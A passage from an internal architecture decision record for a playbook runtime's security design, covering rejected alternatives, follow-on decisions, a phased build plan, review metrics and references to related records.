  • The break-glass alert threshold. If break-glass becomes routine, the alert becomes noise and gets ignored. The on-call rotation (ADR-024) owns investigating each incident; repeated use is a signal to fix the underlying authz gap.
  • The role:operator, role:secret-reader, role:auditor role names. These are new nouns in the ai-research auth system. Adding a fifth role is an ADR amendment.

10. Alternatives considered

  • No authz — "if you have a session, you can run anything". Rejected. This is the pre-ADR state: every playbook is as destructive as its most destructive step for every user. Unsafe at any scale.

  • Kubernetes-style RBAC. Rejected for Phase 1-5. Full RBAC (roles, bindings, resources, verbs, namespaces) is the right answer at dozens of teams and hundreds of playbooks. We have ≤ 5 users and a nascent catalogue. §2's front-matter fields are expressive enough for the cases we actually have; migration to RBAC is a well-understood schema move (ADR-072 when triggered).

  • Per-user OS account running the shell. Rejected. The idea: target: local for @alice runs as OS user playbook_alice, so filesystem permissions are the authz primitive. Problems: ai-research runs in a container so host users are not meaningful; even if they were, UID-based isolation does not contain the shared /tmp, Postgres socket, or runtime env vars. Complex, brittle, orthogonal to the actual risks.

  • Deferred entirely — "don't let untrusted people near it". Rejected. Does not scale past the first mistake: a trusted user is the "compromised user" threat once their laptop is borrowed, session hijacked, or Claude Code agent misfires.

  • Browser-side secret handling. Rejected. Secrets in the browser are secrets in the JS heap, screenshots, extensions, or a paste-clipboard accident. The server is the only reviewable access-pattern surface.

  • Single global "destructive?" toggle per playbook. Rejected. Most playbooks have 90% safe steps and one destructive step. A global toggle either over-approves or under-approves. Per-step destructive: true + implicit approval is surgical.

  • Manual approval for every step. Rejected. Approval fatigue trains operators to click through without reading. Implicit approval only for destructive keeps signal-to-noise high.

  • External SIEM as primary audit surface. Rejected for Phase 5. A SIEM is right when volume exceeds Postgres ad-hoc query capacity or compliance requires off-host copies. We are not there; a future ADR defines the SIEM export.

  • Forbid target: local entirely. Considered. Release flows and onboarding flows legitimately need to run code on the runtime host (git operations on a cloned repo, local diff inspection). allow_local_execution: true + role:operator is the compromise: per-playbook opt-in, per-invoker opt-in, both required.

  • Automatic KEK rotation on a timer. Rejected for Phase 5 — automatic rotation without a mature deploy system reliably ships a service whose decryption path silently breaks under partial rotation. Manual, operator-initiated until key management is outsourced.

11. Open questions / follow-on ADRs

  • ADR-071: Playbook provenance (signing + supply chain). Cryptographic signing of playbook YAML so a playbook reaching the runtime is verifiably the one reviewed on a PR. Today we trust the filesystem; tenable only while playbooks live in one repo with protected-branch rules. Triggers: (a) any external-playbook-source ADR, (b) first customer-visible deployment.

  • ADR-072: Fine-grained authz (Casbin / OPA). If §2's allowed_personas: + allowed_users: proves insufficient — duplicated allow-lists across many playbooks, or cross-playbook rules ("no production runs during deploy windows") — we adopt a policy engine. Trigger: ≥ 20 playbooks with allowed_users: duplicated ≥ 3-ways, OR any cross-playbook policy requirement.

  • Secret-reveal notifications. §4.1 audits reveals. Finer-grained notification (a Slack DM to the secret's creator on every reveal) is an obvious next step; the audit table + metric + alert infrastructure is already in place.

  • Multi-tenant runtime. If ai-research grows to host playbooks for external customers, persona: is a gyrum concept, not a customer concept; a per-tenant authz layer stacks on top of this ADR. Out of scope; named for tracking.

  • Container sandbox escape hardening. If §3.3 sees real escape attempts or CVE-driven concern, upgrade to firecracker microVMs or similar. The step contract stays; the sandbox implementation swaps.

12. Phased build plan

Aligned to ADR-068's Phase 5 ("Security hardening per ADR-069").

Step Where What
1 dark-factory This ADR merges. No code change.
2 ai-research runtime/security/ package (authz.go, target.go, rate.go); default-restrictive authz on every POST /playbook-runs.
3 ai-research playbook_audit table + hash-chain writer; nightly CI integrity check.
4 ai-research playbook_secrets + KMSProvider port + file-KMS adapter; prompt_secret wired to vault.
5 ai-research destructive: true + implicit approval synthesis; dry-run (?dry_run=true); destructive-before-first-run enforcement.
6 ai-research Per-user concurrency + per-playbook rate caps; break_glass handler; metrics + alert wired.
7 ai-research GET /api/v1/playbook-audit + role:auditor.
8 ai-frontend UI: authz-denied messaging, approval dialogs, dry-run "simulate" button, audit-log viewer, secret vault viewer (ids only).
9 dark-factory Runbooks: KMS rotation, container image allow-list, break-glass investigation (dogfooded as playbooks themselves).
10 ai-research ADR-068 Phase 6 unblocked — migrate existing runbooks/experiments to carry runtime: with proper authz + destructive annotations.

Steps 1-4 are in-scope for this ADR's shipping cohort. Steps 5-9 are follow-ups. Step 10 gates on 5-9.

13. Review cadence (for this ADR)

Re-review every 90 days (next: 2026-07-22) against:

  • Authz denial volume — is authz_denied climbing (allow-lists too tight) or flat (unused)?
  • Break-glass frequency — non-zero per 7-day window is reviewed; persistent non-zero is an authz-rule bug.
  • Stdout redaction hit rate — non-trivial for a single secret means a playbook is leaking; investigate.
  • Approval fatigue — destructive approvals per on-call-day.

    20 means we are over-annotating or mis-shaping playbooks.

  • Rate-limit hits — which playbooks, did operators understand why?
  • KMS key rotation — done on schedule? If not, why not?
  • Audit hash chain integrity — nightly CI; failure is P1.
  • Follow-on ADR triggers — ADR-072 threshold approached? ADR-071 provenance wanted?

Stale flag on the Owner dashboard once last_reviewed passes 90 days.

References

  • ADR-068 — playbook runtime architecture; this ADR closes the security fences ADR-068 explicitly deferred.
  • ADR-067 — playbooks unified primitive; this ADR extends the front-matter schema with allowed_personas, allowed_users, denied_users, allow_local_execution, idempotent, rate_limit.
  • ADR-065 — persona vocabulary (reused verbatim in allowed_personas:).
  • ADR-064 — gyrum-catalog + hex arch; SSH Executor port is the target: host:X enforcement point; catalog's per-host ACL backs §3.2.
  • ADR-060 — catalog-driven infrastructure (host alias resolution).
  • ADR-053 — frontend observability; audit metrics surface in the same dashboards; client-side authz-denied errors flow through /client-log.
  • ADR-050 — bearer auth; short-lived token pattern reused for audit API.
  • ADR-039 — audit hash chain; playbook_audit.hash_self + prune boundary follow ADR-039's discipline.
  • ADR-038 — audit sink; long-term home for playbook audit rows.
  • ADR-036 — CSRF double-submit; every POST in this ADR sits behind it.
  • ADR-026 — security defense-in-depth; this ADR is one layer.
  • ADR-024 / ADR-023 — runbook-per-alert + alerts-as-code; break-glass and KMS-rotation alarms both need runbooks.
  • ADR-020 — shared infra vs per-product isolation; Postgres backup/restore now covers playbook_secrets (with KMS key in the DR plan) and playbook_audit.
  • ADR-005 — cardinality labels; metric labels vetted against this.

Supersedes: none Superseded by: leave blank until a later ADR reverses this one